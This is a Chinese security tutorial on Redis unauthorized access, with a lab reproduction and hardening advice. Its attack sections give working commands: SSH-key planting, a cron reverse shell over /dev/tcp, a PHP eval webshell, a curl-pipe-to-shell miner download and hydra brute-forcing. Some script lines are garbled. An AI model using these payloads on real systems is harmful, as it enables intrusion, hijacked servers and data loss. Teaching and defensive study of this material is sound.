redis未授权访问复现及防护措施

本篇主要从 redis 未授权访问入手,还原一些黑客的攻击场景,介绍一些常用的攻击方法和安全知识。


一. 应用介绍

Redis 是一个开源的使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value 数据库。和 Memcached 类似,它支持存储的 value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合) 和 hash(哈希类型)。这些数据类型都支持 push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis 支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从) 同步。

二. 漏洞介绍

Redis 因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对 Redis 未授权访问的一种新型攻击方式,在特定条件下,如果 Redis 以 root 身份运行,黑客可以给 root 账户写入 SSH 公钥文件,直接通过 SSH 登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。  部分服务器上的 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是 Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问 Redis 服务并进行相关操作。  目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的 watch-smartd 挖矿木马。

三. 测试环境说明

3.1 测试环境与对象

  测试对象环境      对应 IP
受害者(centOS6.9)192.168.10.153 192.168.152.128
攻击者(kali)192.168.152.133 192.168.152.138
攻击者(redhat6.7)192.168.152.129

3.2 测试工具和相关资源

工具名称      工具用途       
 nmap检测端口,操作系统和设备类型等信息
 nc实现任意 TCP/UDP 端口的侦听
 hydra主要用于暴力破解密码

四. 攻击方法

4.1 获取主机端口开放信息

Redis 默认使用 6379 端口,使用 nmap 对服务器进行扫描

Nmap -A -p 6379 –script redis-info 192.168.10.129

4.2 Redis 未授权访问获取敏感信息

Nmap 扫描后发现主机的 6379 端口对外开放,就可以用本地 Redis 远程连接服务器(redis 在开放往外网的情况下 (默认配置是 bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为 6379)连接后可以获取 Redis 敏感数据。

./redis-cli -h 192.168.10.153

info

可以看到 Redis 的版本和服务器上内核版本信息,如果是新版的 Redis2.8 以后的版本还可以看到 Redis 配置文件的绝对路径

可以查看里面的 key 和其对应的值

keys *  

get key

4.3 Redis 删除数据

flushall 删除所有数据

del key 删除键为key的数据

4.4 写入 ssh 公钥,获取操作系统权限

原理就是在数据库中插入一条数据,将本机的公钥作为 value,key 值随意,然后通过修改数据库的默认路径为 / root/.ssh 和默认的缓冲文件 authorized.keys, 把缓冲的数据保存在文件里,这样就可以再服务器端的 / root/.ssh 下生一个授权的 key。

  • 首先在自己的电脑上生成 key:
ssh-keygen -t rsa

  • 将公钥导入 key.txt 文件(前后用 \ n 换行,避免和 Redis 里其他缓存数据混合), 再把 key.txt 文件内容写入目标主机的缓冲里:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

cat /root/.ssh/key.txt | ./redis-cli -h 192.168.10.153 -x set xxx

  • 连接目标主机的 Redis:
./redis-cli -h 192.168.10.153

  • 设置 redis 的备份路径为 / root/.ssh 和保存文件名 authorized_keys
config set dir /root/.ssh

config set dbfilename authorized_keys

  • 将数据保存在服务器硬盘上(缓存里的数据 key.txt)
save
  • 这时候用 ssh 远程连接:
ssh 192.168.10.153

可以看到不用密码就可以直接远程登录

  • 可以在 centos 这边进入 / root/.ssh 目录,看一下 authorized_keys 的文件内容
cat /root/.ssh/authorized_keys

在 authorized_keys 文件里可以看到 redis 的版本号, 我们写入的公钥和一些缓冲的乱码

4.5 在 crontab 里写定时任务,反弹 shell

原理是和写公钥一样的,只是变换一下写入的内容和路径,数据库名。

  • 首先在客户端这边监听一个端口(随便一个端口就好,不要冲突就好)
nc -l 4444

  • 连接 redis,写入反弹 shell
./redis-cli -h 192.168.152.128
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.152.129/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

  • 1 分钟后客户端这边收到 centos 的反弹 shell

4.6 在 web 目录下写入 webshell

通过 redis 在指定的 web 目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。

  • 远程连接 redis,写入 webshell
./redis-cli -h 192.168.152.128
config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save
  • 用菜刀连接:

  • 用菜刀打开虚拟终端执行命令

4.7 写入挖矿进程

所谓 "挖矿" 实质上是用计算机解决一项复杂的数学问题,来保证比特币网络分布式记账系统的一致性。比特币网络会自动调整数学问题的难度,让整个网络约每 10 分钟得到一个合格答案。随后比特币网络会新生成一定量的比特币作为赏金,奖励获得答案的人。它依据特定算法,通过大量的计算产生,所以才会大量占据 cpu,导致系统卡顿,严重的直接瘫痪。给服务器上传挖矿木马有两种方法:

    1. 用上面的方法拿下 webshell,给服务器指定目录上传一个 watch-smartd 挖矿木马,一个 shell 脚本 1.sh(上传的文件默认没有 x 权限)
vim 1.sh

#!bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
Export PATH
Chmod +x /root/test/watch-smartd
Exit 0

在 kali 上远程连接 redis

./redis-cli -h 192.168.152.128
config set dir /var/spool/cron
config set dbfilename root
set watch-smartd "\n\n\n*/1 * * * * /root/test/./watch-smartd\n\n\n"
set 1.sh "\n\n\n/1sh/root/test/1.sh\n\n"
save

一分钟后在 centOS 上 / root/test 目录下查看 watch-smartd 的权限

使用 top 命令查看 cpu 使用情况

挖矿木马已经开始运行了,并且占用了大量的 cpu

    1. 写入定时任务,到指定的网站去下载挖矿木马和 shell 脚本 1.sh
vim 1.sh

#!bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
if [ ! -f "/tmp/watch-smartd" ];
    then
        wget http://192.168.152.138/watch/watch-smartd -O /tmp/watch-smartd
    else
        chmod +x /tmp/watch-smartd
fi
exit 0

在 kali 上远程连接 redis

./redis-cli -h 192.168.152.128
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n\n*/5 * * * * curl http://192.168.152.138/watch/1.sh | sh\n\n\n"
set xxxx "\n\n\n*/1 * * * * /tmp/./watch-smartd\n\n\n"
save

1 分钟后,在 centos 的 / tmp 目录下可以看到挖矿木马 watch-smartd, 并且具有 x 权限

使用 top 命令,可以看到挖矿木马已经执行,占用大量的 cpu

4.8 利用 redis 执行命令

redis 2.6 以前的版本内置了 lua 脚本环境,在有连接 redis 服务器的权限下,可以利用 lua 执行系统命令。

  • 本地建立一个 lua 脚本
vim  hello.lua

local msg = "hello,hack!"
return msg
  • 在客户端连接 redis 服务器并执行 hello.lua
./redis-cli eval "$(cat hello.lua)" 0 -h 192.168.152.128

4.9 利用 hydra 暴力破解 redis 的密码

使用 hydra 工具可以对 redis 进行暴力破解

hydra -P passwd.txt redis://192.168.152.128

五. redis 日志

redis 在默认情况下,是不会生成日志文件的,所以需要修改配置文件,让 redis 生成日志。  

5.1 配置方法:

  • 首先找到 redis 的配置文件
  • 打开配置文件,找到 logfile(可能有多个 logfile,认准旁边有 loglevel 的那个),或者直接搜 logfile ""
  • 将路径填入 logfile 后面的引号内,例如:logfile"/usr/local/redis/redis.log"

  • 保存配置文件,以这个配置文件启动 redis,然后这时候 redis 的启动框会变成一个黑框框,什么输出都没有,这就对了(因为输入全写到日志文件去了)

  • loglevel 是用来设置日志等级的,具体可以看配置文件中上面的注释

5.2 日志内容

  • 记录详细的时间,某个 IP 远程连接,当前缓冲区里面有多少个 key

  • 如果 redis 被暴力猜解,会在日志里面看大量的连接 IP

六. 修复方案

6.1 禁止一些高危命令(重启 redis 才能生效)

  • 修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
  • 或者通过修改 redis.conf 文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

6.2 以低权限运行 Redis 服务(重启 redis 才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

groupadd -r redis && useradd -r -g redis redis

6.3 为 Redis 添加密码验证(重启 redis 才能生效)

修改 redis.conf 文件,添加

requirepass mypassword

(注意 redis 不要用 - a 参数,明文输入密码,连接后使用 auth 认证)

6.4 禁止外网访问 Redis(重启 redis 才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

bind 127.0.0.1

在 redis3.2 之后,redis 增加了 protected-mode,在这个模式下,非绑定 IP 或者没有配置密码访问时都会报错

6.5 修改默认端口

修改配置文件 redis.conf 文件

Port 6379

默认端口是 6379,可以改变成其他端口(不要冲突就好)

6.6 保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

  • 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
  • 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
  • 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
chattr +i ~/.ssh

6.7 设置防火墙策略

如果正常业务中 Redis 服务需要被其他服务器来访问,可以设置 iptables 策略仅允许指定的 IP 来访问 Redis 服务。

原文地址 www.freebuf.com